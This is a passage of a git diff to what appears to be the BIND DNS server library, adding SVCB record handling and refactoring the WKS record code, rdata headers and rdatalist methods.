+fromwire_in_svcb(ARGS_FROMWIRE) {
+	REQUIRE(type == dns_rdatatype_svcb);
+	REQUIRE(rdclass == dns_rdataclass_in);
+
+	return (generic_fromwire_in_svcb(CALL_FROMWIRE));
+}
+
+static isc_result_t
+generic_towire_in_svcb(ARGS_TOWIRE) {
+	dns_name_t name;
+	dns_offsets_t offsets;
+	isc_region_t region;
+
+	REQUIRE(rdata->length != 0);
+
+	dns_compress_setpermitted(cctx, false);
+
+	/*
+	 * SvcPriority.
+	 */
+	dns_rdata_toregion(rdata, &region);
+	RETERR(mem_tobuffer(target, region.base, 2));
+	isc_region_consume(&region, 2);
+
+	/*
+	 * TargetName.
+	 */
+	dns_name_init(&name, offsets);
+	dns_name_fromregion(&name, &region);
+	RETERR(dns_name_towire(&name, cctx, target, NULL));
+	isc_region_consume(&region, name_length(&name));
+
+	/*
+	 * SvcParams.
+	 */
+	return (mem_tobuffer(target, region.base, region.length));
+}
+
+static isc_result_t
+towire_in_svcb(ARGS_TOWIRE) {
+	REQUIRE(rdata->type == dns_rdatatype_svcb);
+	REQUIRE(rdata->length != 0);
+
+	return (generic_towire_in_svcb(CALL_TOWIRE));
+}
+
+static int
+compare_in_svcb(ARGS_COMPARE) {
+	isc_region_t region1;
+	isc_region_t region2;
+
+	REQUIRE(rdata1->type == rdata2->type);
+	REQUIRE(rdata1->rdclass == rdata2->rdclass);
+	REQUIRE(rdata1->type == dns_rdatatype_svcb);
+	REQUIRE(rdata1->rdclass == dns_rdataclass_in);
+	REQUIRE(rdata1->length != 0);
+	REQUIRE(rdata2->length != 0);
+
+	dns_rdata_toregion(rdata1, &region1);
+	dns_rdata_toregion(rdata2, &region2);
+
+	return (isc_region_compare(&region1, &region2));
+}
+
+static isc_result_t
+generic_fromstruct_in_svcb(ARGS_FROMSTRUCT) {
+	dns_rdata_in_svcb_t *svcb = source;
+	isc_region_t region;
+
+	REQUIRE(svcb != NULL);
+	REQUIRE(svcb->common.rdtype == type);
+	REQUIRE(svcb->common.rdclass == rdclass);
+
+	UNUSED(type);
+	UNUSED(rdclass);
+
+	RETERR(uint16_tobuffer(svcb->priority, target));
+	dns_name_toregion(&svcb->svcdomain, &region);
+	RETERR(isc_buffer_copyregion(target, &region));
+
+	return (mem_tobuffer(target, svcb->svc, svcb->svclen));
+}
+
+static isc_result_t
+fromstruct_in_svcb(ARGS_FROMSTRUCT) {
+	dns_rdata_in_svcb_t *svcb = source;
+
+	REQUIRE(type == dns_rdatatype_svcb);
+	REQUIRE(rdclass == dns_rdataclass_in);
+	REQUIRE(svcb != NULL);
+	REQUIRE(svcb->common.rdtype == type);
+	REQUIRE(svcb->common.rdclass == rdclass);
+
+	return (generic_fromstruct_in_svcb(CALL_FROMSTRUCT));
+}
+
+static isc_result_t
+generic_tostruct_in_svcb(ARGS_TOSTRUCT) {
+	isc_region_t region;
+	dns_rdata_in_svcb_t *svcb = target;
+	dns_name_t name;
+
+	REQUIRE(svcb != NULL);
+	REQUIRE(rdata->length != 0);
+
+	svcb->common.rdclass = rdata->rdclass;
+	svcb->common.rdtype = rdata->type;
+	ISC_LINK_INIT(&svcb->common, link);
+
+	dns_rdata_toregion(rdata, &region);
+
+	svcb->priority = uint16_fromregion(&region);
+	isc_region_consume(&region, 2);
+
+	dns_name_init(&svcb->svcdomain, NULL);
+	dns_name_init(&name, NULL);
+	dns_name_fromregion(&name, &region);
+	isc_region_consume(&region, name_length(&name));
+
+	name_duporclone(&name, mctx, &svcb->svcdomain);
+	svcb->svclen = region.length;
+	svcb->svc = mem_maybedup(mctx, region.base, region.length);
+
+	svcb->offset = 0;
+	svcb->mctx = mctx;
+
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+tostruct_in_svcb(ARGS_TOSTRUCT) {
+	dns_rdata_in_svcb_t *svcb = target;
+
+	REQUIRE(rdata->rdclass == dns_rdataclass_in);
+	REQUIRE(rdata->type == dns_rdatatype_svcb);
+	REQUIRE(svcb != NULL);
+	REQUIRE(rdata->length != 0);
+
+	return (generic_tostruct_in_svcb(CALL_TOSTRUCT));
+}
+
+static void
+generic_freestruct_in_svcb(ARGS_FREESTRUCT) {
+	dns_rdata_in_svcb_t *svcb = source;
+
+	REQUIRE(svcb != NULL);
+
+	if (svcb->mctx == NULL) {
+		return;
+	}
+
+	dns_name_free(&svcb->svcdomain, svcb->mctx);
+	isc_mem_free(svcb->mctx, svcb->svc);
+	svcb->mctx = NULL;
+}
+
+static void
+freestruct_in_svcb(ARGS_FREESTRUCT) {
+	dns_rdata_in_svcb_t *svcb = source;
+
+	REQUIRE(svcb != NULL);
+	REQUIRE(svcb->common.rdclass == dns_rdataclass_in);
+	REQUIRE(svcb->common.rdtype == dns_rdatatype_svcb);
+
+	generic_freestruct_in_svcb(CALL_FREESTRUCT);
+}
+
+static isc_result_t
+generic_additionaldata_in_svcb(ARGS_ADDLDATA) {
+	bool alias, done = false;
+	dns_fixedname_t fixed;
+	dns_name_t name, *fname = NULL;
+	dns_offsets_t offsets;
+	dns_rdataset_t rdataset;
+	isc_region_t region;
+	unsigned int cnames = 0;
+
+	dns_name_init(&name, offsets);
+	dns_rdata_toregion(rdata, &region);
+	alias = uint16_fromregion(&region) == 0;
+	isc_region_consume(&region, 2);
+
+	dns_name_fromregion(&name, &region);
+
+	if (dns_name_equal(&name, dns_rootname)) {
+		/*
+		 * "." only means owner name in service form.
+		 */
+		if (alias || dns_name_equal(owner, dns_rootname) ||
+		    !dns_name_ishostname(owner, false))
+		{
+			return (ISC_R_SUCCESS);
+		}
+		/* Only lookup address records */
+		return ((add)(arg, owner, dns_rdatatype_a,
+			      NULL DNS__DB_FILELINE));
+	}
+
+	/*
+	 * Follow CNAME chains when processing HTTPS and SVCB records.
+	 */
+	dns_rdataset_init(&rdataset);
+	fname = dns_fixedname_initname(&fixed);
+	do {
+		RETERR((add)(arg, &name, dns_rdatatype_cname,
+			     &rdataset DNS__DB_FILELINE));
+		if (dns_rdataset_isassociated(&rdataset)) {
+			isc_result_t result;
+			result = dns_rdataset_first(&rdataset);
+			if (result == ISC_R_SUCCESS) {
+				dns_rdata_t current = DNS_RDATA_INIT;
+				dns_rdata_cname_t cname;
+
+				dns_rdataset_current(&rdataset, &current);
+
+				result = dns_rdata_tostruct(&current, &cname,
+							    NULL);
+				RUNTIME_CHECK(result == ISC_R_SUCCESS);
+				dns_name_copy(&cname.cname, fname);
+				dns_name_clone(fname, &name);
+			} else {
+				done = true;
+			}
+			dns_rdataset_disassociate(&rdataset);
+		} else {
+			done = true;
+		}
+		/*
+		 * Stop following a potentially infinite CNAME chain.
+		 */
+		if (!done && cnames++ > MAX_CNAMES) {
+			return (ISC_R_SUCCESS);
+		}
+	} while (!done);
+
+	/*
+	 * Look up HTTPS/SVCB records when processing the alias form.
+	 */
+	if (alias) {
+		RETERR((add)(arg, &name, rdata->type,
+			     &rdataset DNS__DB_FILELINE));
+		/*
+		 * Don't return A or AAAA if this is not the last element
+		 * in the HTTP / SVCB chain.
+		 */
+		if (dns_rdataset_isassociated(&rdataset)) {
+			dns_rdataset_disassociate(&rdataset);
+			return (ISC_R_SUCCESS);
+		}
+	}
+	return ((add)(arg, &name, dns_rdatatype_a, NULL DNS__DB_FILELINE));
+}
+
+static isc_result_t
+additionaldata_in_svcb(ARGS_ADDLDATA) {
+	REQUIRE(rdata->type == dns_rdatatype_svcb);
+	REQUIRE(rdata->rdclass == dns_rdataclass_in);
+
+	return (generic_additionaldata_in_svcb(CALL_ADDLDATA));
+}
+
+static isc_result_t
+digest_in_svcb(ARGS_DIGEST) {
+	isc_region_t region1;
+
+	REQUIRE(rdata->type == dns_rdatatype_svcb);
+	REQUIRE(rdata->rdclass == dns_rdataclass_in);
+
+	dns_rdata_toregion(rdata, &region1);
+	return ((digest)(arg, &region1));
+}
+
+static bool
+checkowner_in_svcb(ARGS_CHECKOWNER) {
+	REQUIRE(type == dns_rdatatype_svcb);
+	REQUIRE(rdclass == dns_rdataclass_in);
+
+	UNUSED(name);
+	UNUSED(type);
+	UNUSED(rdclass);
+	UNUSED(wildcard);
+
+	return (true);
+}
+
+static bool
+generic_checknames_in_svcb(ARGS_CHECKNAMES) {
+	isc_region_t region;
+	dns_name_t name;
+	bool alias;
+
+	UNUSED(owner);
+
+	dns_rdata_toregion(rdata, &region);
+	INSIST(region.length > 1);
+	alias = uint16_fromregion(&region) == 0;
+	isc_region_consume(&region, 2);
+	dns_name_init(&name, NULL);
+	dns_name_fromregion(&name, &region);
+	if (!alias && !dns_name_ishostname(&name, false)) {
+		if (bad != NULL) {
+			dns_name_clone(&name, bad);
+		}
+		return (false);
+	}
+	return (true);
+}
+
+static bool
+checknames_in_svcb(ARGS_CHECKNAMES) {
+	REQUIRE(rdata->type == dns_rdatatype_svcb);
+	REQUIRE(rdata->rdclass == dns_rdataclass_in);
+
+	return (generic_checknames_in_svcb(CALL_CHECKNAMES));
+}
+
+static int
+casecompare_in_svcb(ARGS_COMPARE) {
+	return (compare_in_svcb(rdata1, rdata2));
+}
+
+static isc_result_t
+generic_rdata_in_svcb_first(dns_rdata_in_svcb_t *svcb) {
+	if (svcb->svclen == 0) {
+		return (ISC_R_NOMORE);
+	}
+	svcb->offset = 0;
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+generic_rdata_in_svcb_next(dns_rdata_in_svcb_t *svcb) {
+	isc_region_t region;
+	size_t len;
+
+	if (svcb->offset >= svcb->svclen) {
+		return (ISC_R_NOMORE);
+	}
+
+	region.base = svcb->svc + svcb->offset;
+	region.length = svcb->svclen - svcb->offset;
+	INSIST(region.length >= 4);
+	isc_region_consume(&region, 2);
+	len = uint16_fromregion(&region);
+	INSIST(region.length >= len + 2);
+	svcb->offset += len + 4;
+	return (svcb->offset >= svcb->svclen ? ISC_R_NOMORE : ISC_R_SUCCESS);
+}
+
+static void
+generic_rdata_in_svcb_current(dns_rdata_in_svcb_t *svcb, isc_region_t *region) {
+	size_t len;
+
+	INSIST(svcb->offset <= svcb->svclen);
+
+	region->base = svcb->svc + svcb->offset;
+	region->length = svcb->svclen - svcb->offset;
+	INSIST(region->length >= 4);
+	isc_region_consume(region, 2);
+	len = uint16_fromregion(region);
+	INSIST(region->length >= len + 2);
+	region->base = svcb->svc + svcb->offset;
+	region->length = len + 4;
+}
+
+isc_result_t
+dns_rdata_in_svcb_first(dns_rdata_in_svcb_t *svcb) {
+	REQUIRE(svcb != NULL);
+	REQUIRE(svcb->common.rdtype == dns_rdatatype_svcb);
+	REQUIRE(svcb->common.rdclass == dns_rdataclass_in);
+
+	return (generic_rdata_in_svcb_first(svcb));
+}
+
+isc_result_t
+dns_rdata_in_svcb_next(dns_rdata_in_svcb_t *svcb) {
+	REQUIRE(svcb != NULL);
+	REQUIRE(svcb->common.rdtype == dns_rdatatype_svcb);
+	REQUIRE(svcb->common.rdclass == dns_rdataclass_in);
+
+	return (generic_rdata_in_svcb_next(svcb));
+}
+
+void
+dns_rdata_in_svcb_current(dns_rdata_in_svcb_t *svcb, isc_region_t *region) {
+	REQUIRE(svcb != NULL);
+	REQUIRE(svcb->common.rdtype == dns_rdatatype_svcb);
+	REQUIRE(svcb->common.rdclass == dns_rdataclass_in);
+	REQUIRE(region != NULL);
+
+	generic_rdata_in_svcb_current(svcb, region);
+}
+
+#endif /* RDATA_IN_1_SVCB_64_C */
diff --git a/lib/dns/rdata/in_1/svcb_64.h b/lib/dns/rdata/in_1/svcb_64.h
new file mode 100644
index 0000000000..c861716c35
--- /dev/null
+++ b/lib/dns/rdata/in_1/svcb_64.h
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*!
+ *  \brief Per draft-ietf-dnsop-svcb-https-02
+ */
+
+typedef struct dns_rdata_in_svcb {
+	dns_rdatacommon_t common;
+	isc_mem_t *mctx;
+	uint16_t priority;
+	dns_name_t svcdomain;
+	unsigned char *svc;
+	uint16_t svclen;
+	uint16_t offset;
+} dns_rdata_in_svcb_t;
+
+isc_result_t
+dns_rdata_in_svcb_first(dns_rdata_in_svcb_t *);
+
+isc_result_t
+dns_rdata_in_svcb_next(dns_rdata_in_svcb_t *);
+
+void
+dns_rdata_in_svcb_current(dns_rdata_in_svcb_t *, isc_region_t *);
diff --git a/lib/dns/rdata/in_1/wks_11.c b/lib/dns/rdata/in_1/wks_11.c
index caa3892b64..0c9163a2bd 100644
--- a/lib/dns/rdata/in_1/wks_11.c
+++ b/lib/dns/rdata/in_1/wks_11.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,24 +15,12 @@
 #define RDATA_IN_1_WKS_11_C
 
 #include <limits.h>
-#include <stdlib.h>
+#include <netdb.h>
 
+#include <isc/ascii.h>
 #include <isc/net.h>
-#include <isc/netdb.h>
 #include <isc/once.h>
 
-/*
- * Redefine CHECK here so cppcheck "sees" the define.
- */
-#ifndef CHECK
-#define CHECK(op)                            \
-	do {                                 \
-		result = (op);               \
-		if (result != ISC_R_SUCCESS) \
-			goto cleanup;        \
-	} while (0)
-#endif /* ifndef CHECK */
-
 #define RRTYPE_WKS_ATTRIBUTES (0)
 
 static isc_mutex_t wks_lock;
@@ -66,7 +56,7 @@ mygetservbyname(const char *name, const char *proto, long *port) {
 	return (se != NULL);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromtext_in_wks(ARGS_FROMTEXT) {
 	static isc_once_t once = ISC_ONCE_INIT;
 	isc_token_t token;
@@ -80,7 +70,6 @@ fromtext_in_wks(ARGS_FROMTEXT) {
 	const char *ps = NULL;
 	unsigned int n;
 	char service[32];
-	int i;
 	isc_result_t result;
 
 	REQUIRE(type == dns_rdatatype_wks);
@@ -92,7 +81,7 @@ fromtext_in_wks(ARGS_FROMTEXT) {
 	UNUSED(rdclass);
 	UNUSED(callbacks);
 
-	RUNTIME_CHECK(isc_once_do(&once, init_lock) == ISC_R_SUCCESS);
+	isc_once_do(&once, init_lock);
 
 	/*
 	 * IPv4 dotted quad.
@@ -146,11 +135,7 @@ fromtext_in_wks(ARGS_FROMTEXT) {
 		 * case sensitive and the database is usually in lowercase.
 		 */
 		strlcpy(service, DNS_AS_STR(token), sizeof(service));
-		for (i = strlen(service) - 1; i >= 0; i--) {
-			if (isupper(service[i] & 0xff)) {
-				service[i] = tolower(service[i] & 0xff);
-			}
-		}
+		isc_ascii_strtolower(service);
 
 		port = strtol(DNS_AS_STR(token), &e, 10);
 		if (*e != 0 && !mygetservbyname(service, ps, &port) &&
@@ -179,7 +164,7 @@ fromtext_in_wks(ARGS_FROMTEXT) {
 	return (result);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_in_wks(ARGS_TOTEXT) {
 	isc_region_t sr;
 	unsigned short proto;
@@ -221,7 +206,7 @@ totext_in_wks(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_in_wks(ARGS_FROMWIRE) {
 	isc_region_t sr;
 	isc_region_t tr;
@@ -231,7 +216,6 @@ fromwire_in_wks(ARGS_FROMWIRE) {
 
 	UNUSED(type);
 	UNUSED(dctx);
-	UNUSED(options);
 	UNUSED(rdclass);
 
 	isc_buffer_activeregion(source, &sr);
@@ -257,7 +241,7 @@ fromwire_in_wks(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_in_wks(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -271,7 +255,7 @@ towire_in_wks(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_in_wks(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -288,7 +272,7 @@ compare_in_wks(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_in_wks(ARGS_FROMSTRUCT) {
 	dns_rdata_in_wks_t *wks = source;
 	uint32_t a;
@@ -310,7 +294,7 @@ fromstruct_in_wks(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, wks->map, wks->map_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_in_wks(ARGS_TOSTRUCT) {
 	dns_rdata_in_wks_t *wks = target;
 	uint32_t n;
@@ -333,14 +317,11 @@ tostruct_in_wks(ARGS_TOSTRUCT) {
 	isc_region_consume(&region, 1);
 	wks->map_len = region.length;
 	wks->map = mem_maybedup(mctx, region.base, region.length);
-	if (wks->map == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 	wks->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_in_wks(ARGS_FREESTRUCT) {
 	dns_rdata_in_wks_t *wks = source;
 
@@ -358,19 +339,20 @@ freestruct_in_wks(ARGS_FREESTRUCT) {
 	wks->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_in_wks(ARGS_ADDLDATA) {
+	REQUIRE(rdata->type == dns_rdatatype_wks);
+	REQUIRE(rdata->rdclass == dns_rdataclass_in);
+
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
-	REQUIRE(rdata->type == dns_rdatatype_wks);
-	REQUIRE(rdata->rdclass == dns_rdataclass_in);
-
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_in_wks(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -382,7 +364,7 @@ digest_in_wks(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_in_wks(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_wks);
 	REQUIRE(rdclass == dns_rdataclass_in);
@@ -393,7 +375,7 @@ checkowner_in_wks(ARGS_CHECKOWNER) {
 	return (dns_name_ishostname(name, wildcard));
 }
 
-static inline bool
+static bool
 checknames_in_wks(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_wks);
 	REQUIRE(rdata->rdclass == dns_rdataclass_in);
@@ -405,7 +387,7 @@ checknames_in_wks(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_in_wks(ARGS_COMPARE) {
 	return (compare_in_wks(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/in_1/wks_11.h b/lib/dns/rdata/in_1/wks_11.h
index 9729ee92ee..8863725aa5 100644
--- a/lib/dns/rdata/in_1/wks_11.h
+++ b/lib/dns/rdata/in_1/wks_11.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef IN_1_WKS_11_H
-#define IN_1_WKS_11_H 1
+#pragma once
 
 typedef struct dns_rdata_in_wks {
 	dns_rdatacommon_t common;
@@ -20,5 +21,3 @@ typedef struct dns_rdata_in_wks {
 	unsigned char *map;
 	uint16_t map_len;
 } dns_rdata_in_wks_t;
-
-#endif /* IN_1_WKS_11_H */
diff --git a/lib/dns/rdata/rdatastructpre.h b/lib/dns/rdata/rdatastructpre.h
index 372a443410..4fe31b1af1 100644
--- a/lib/dns/rdata/rdatastructpre.h
+++ b/lib/dns/rdata/rdatastructpre.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_RDATASTRUCT_H
-#define DNS_RDATASTRUCT_H 1
+#pragma once
 
 #include <isc/lang.h>
 #include <isc/sockaddr.h>
diff --git a/lib/dns/rdata/rdatastructsuf.h b/lib/dns/rdata/rdatastructsuf.h
index f3de54b765..c3ec424e6d 100644
--- a/lib/dns/rdata/rdatastructsuf.h
+++ b/lib/dns/rdata/rdatastructsuf.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,5 +12,3 @@
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_RDATASTRUCT_H */
diff --git a/lib/dns/rdatalist.c b/lib/dns/rdatalist.c
index 9080015bc8..dabc9ba95c 100644
--- a/lib/dns/rdatalist.c
+++ b/lib/dns/rdatalist.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -22,25 +24,19 @@
 #include <dns/rdatalist.h>
 #include <dns/rdataset.h>
 
-#include "rdatalist_p.h"
-
 static dns_rdatasetmethods_t methods = {
-	isc__rdatalist_disassociate,
-	isc__rdatalist_first,
-	isc__rdatalist_next,
-	isc__rdatalist_current,
-	isc__rdatalist_clone,
-	isc__rdatalist_count,
-	isc__rdatalist_addnoqname,
-	isc__rdatalist_getnoqname,
-	isc__rdatalist_addclosest,
-	isc__rdatalist_getclosest,
-	NULL, /* settrust */
-	NULL, /* expire */
-	NULL, /* clearprefetch */
-	isc__rdatalist_setownercase,
-	isc__rdatalist_getownercase,
-	NULL /* addglue */
+	.disassociate = dns_rdatalist_disassociate,
+	.first = dns_rdatalist_first,
+	.next = dns_rdatalist_next,
+	.current = dns_rdatalist_current,
+	.clone = dns_rdatalist_clone,
+	.count = dns_rdatalist_count,
+	.addnoqname = dns_rdatalist_addnoqname,
+	.getnoqname = dns_rdatalist_getnoqname,
+	.addclosest = dns_rdatalist_addclosest,
+	.getclosest = dns_rdatalist_getclosest,
+	.setownercase = dns_rdatalist_setownercase,
+	.getownercase = dns_rdatalist_getownercase,
 };
 
 void
@@ -50,21 +46,19 @@ dns_rdatalist_init(dns_rdatalist_t *rdatalist) {
 	/*
 	 * Initialize rdatalist.
 	 */
-
-	rdatalist->rdclass = 0;
-	rdatalist->type = 0;
-	rdatalist->covers = 0;
-	rdatalist->ttl = 0;
-	ISC_LIST_INIT(rdatalist->rdata);
-	ISC_LINK_INIT(rdatalist, link);
+	*rdatalist = (dns_rdatalist_t){
+		.rdata = ISC_LIST_INITIALIZER,
+		.link = ISC_LINK_INITIALIZER,
+	};
 	memset(rdatalist->upper, 0xeb, sizeof(rdatalist->upper));
+
 	/*
 	 * Clear upper set bit.
 	 */
 	rdatalist->upper[0] &= ~0x01;
 }
 
-isc_result_t
+void
 dns_rdatalist_tordataset(dns_rdatalist_t *rdatalist, dns_rdataset_t *rdataset) {
 	/*
 	 * Make 'rdataset' refer to the rdata in 'rdatalist'.
@@ -77,43 +71,43 @@ dns_rdatalist_tordataset(dns_rdatalist_t *rdatalist, dns_rdataset_t *rdataset) {
 	/* Check if dns_rdatalist_init has was called. */
 	REQUIRE(rdatalist->upper[0] == 0xea);
 
-	rdataset->methods = &methods;
-	rdataset->rdclass = rdatalist->rdclass;
-	rdataset->type = rdatalist->type;
-	rdataset->covers = rdatalist->covers;
-	rdataset->ttl = rdatalist->ttl;
-	rdataset->trust = 0;
-	rdataset->private1 = rdatalist;
-	rdataset->private2 = NULL;
-	rdataset->private3 = NULL;
-	rdataset->privateuint4 = 0;
-	rdataset->private5 = NULL;
-
-	return (ISC_R_SUCCESS);
+	*rdataset = (dns_rdataset_t){
+		.methods = &methods,
+		.rdclass = rdatalist->rdclass,
+		.type = rdatalist->type,
+		.covers = rdatalist->covers,
+		.ttl = rdatalist->ttl,
+		.rdlist.list = rdatalist,
+
+		.link = rdataset->link,
+		.count = rdataset->count,
+		.attributes = rdataset->attributes,
+		.magic = rdataset->magic,
+	};
 }
 
-isc_result_t
+void
 dns_rdatalist_fromrdataset(dns_rdataset_t *rdataset,
 			   dns_rdatalist_t **rdatalist) {
 	REQUIRE(rdatalist != NULL && rdataset != NULL);
-	*rdatalist = rdataset->private1;
+	REQUIRE(rdataset->methods == &methods);
 
-	return (ISC_R_SUCCESS);
+	*rdatalist = rdataset->rdlist.list;
 }
 
 void
-isc__rdatalist_disassociate(dns_rdataset_t *rdataset) {
+dns_rdatalist_disassociate(dns_rdataset_t *rdataset DNS__DB_FLARG) {
 	UNUSED(rdataset);
 }
 
 isc_result_t
-isc__rdatalist_first(dns_rdataset_t *rdataset) {
-	dns_rdatalist_t *rdatalist;
+dns_rdatalist_first(dns_rdataset_t *rdataset) {
+	dns_rdatalist_t *rdatalist = NULL;
 
-	rdatalist = rdataset->private1;
-	rdataset->private2 = ISC_LIST_HEAD(rdatalist->rdata);
+	rdatalist = rdataset->rdlist.list;
+	rdataset->rdlist.iter = ISC_LIST_HEAD(rdatalist->rdata);
 
-	if (rdataset->private2 == NULL) {
+	if (rdataset->rdlist.iter == NULL) {
 		return (ISC_R_NOMORE);
 	}
 
@@ -121,19 +115,17 @@ isc__rdatalist_first(dns_rdataset_t *rdataset) {
 }
 
 isc_result_t
-isc__rdatalist_next(dns_rdataset_t *rdataset) {
+dns_rdatalist_next(dns_rdataset_t *rdataset) {
 	dns_rdata_t *rdata;
 
-	REQUIRE(rdataset != NULL);
-
-	rdata = rdataset->private2;
+	rdata = rdataset->rdlist.iter;
 	if (rdata == NULL) {
 		return (ISC_R_NOMORE);
 	}
 
-	rdataset->private2 = ISC_LIST_NEXT(rdata, link);
+	rdataset->rdlist.iter = ISC_LIST_NEXT(rdata, link);
 
-	if (rdataset->private2 == NULL) {
+	if (rdataset->rdlist.iter == NULL) {
 		return (ISC_R_NOMORE);
 	}
 
@@ -141,39 +133,35 @@ isc__rdatalist_next(dns_rdataset_t *rdataset) {
 }
 
 void
-isc__rdatalist_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata) {
+dns_rdatalist_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata) {
 	dns_rdata_t *list_rdata;
 
-	REQUIRE(rdataset != NULL);
-
-	list_rdata = rdataset->private2;
+	list_rdata = rdataset->rdlist.iter;
 	INSIST(list_rdata != NULL);
 
 	dns_rdata_clone(list_rdata, rdata);
 }
 
 void
-isc__rdatalist_clone(dns_rdataset_t *source, dns_rdataset_t *target) {
+dns_rdatalist_clone(dns_rdataset_t *source,
+		    dns_rdataset_t *target DNS__DB_FLARG) {
 	REQUIRE(source != NULL);
 	REQUIRE(target != NULL);
 
 	*target = *source;
 
-	/*
-	 * Reset iterator state.
-	 */
-	target->private2 = NULL;
+	target->rdlist.iter = NULL;
 }
 
 unsigned int
-isc__rdatalist_count(dns_rdataset_t *rdataset) {
+dns_rdatalist_count(dns_rdataset_t *rdataset) {
 	dns_rdatalist_t *rdatalist;
 	dns_rdata_t *rdata;
 	unsigned int count;
 
 	REQUIRE(rdataset != NULL);
 
-	rdatalist = rdataset->private1;
+	rdatalist = rdataset->rdlist.list;
 
 	count = 0;
 	for (rdata = ISC_LIST_HEAD(rdatalist->rdata); rdata != NULL;
@@ -186,7 +174,7 @@ isc__rdatalist_count(dns_rdataset_t *rdataset) {
 }
 
 isc_result_t
-isc__rdatalist_addnoqname(dns_rdataset_t *rdataset, const dns_name_t *name) {
+dns_rdatalist_addnoqname(dns_rdataset_t *rdataset, const dns_name_t *name) {
 	dns_rdataset_t *neg = NULL;
 	dns_rdataset_t *negsig = NULL;
 	dns_rdataset_t *rdset;
@@ -201,7 +189,8 @@ isc__rdatalist_addnoqname(dns_rdataset_t *rdataset, const dns_name_t *name) {
 			continue;
 		}
 		if (rdset->type == dns_rdatatype_nsec ||
-		    rdset->type == dns_rdatatype_nsec3) {
+		    rdset->type == dns_rdatatype_nsec3)
+		{
 			neg = rdset;
 		}
 	}
@@ -213,7 +202,8 @@ isc__rdatalist_addnoqname(dns_rdataset_t *rdataset, const dns_name_t *name) {
 	     rdset = ISC_LIST_NEXT(rdset, link))
 	{
 		if (rdset->type == dns_rdatatype_rrsig &&
-		    rdset->covers == neg->type) {
+		    rdset->covers == neg->type)
+		{
 			negsig = rdset;
 		}
 	}
@@ -233,13 +223,14 @@ isc__rdatalist_addnoqname(dns_rdataset_t *rdataset, const dns_name_t *name) {
 	}
 	rdataset->ttl = neg->ttl = negsig->ttl = ttl;
 	rdataset->attributes |= DNS_RDATASETATTR_NOQNAME;
-	rdataset->private6 = name;
+	rdataset->rdlist.noqname = name;
 	return (ISC_R_SUCCESS);
 }
 
 isc_result_t
-isc__rdatalist_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
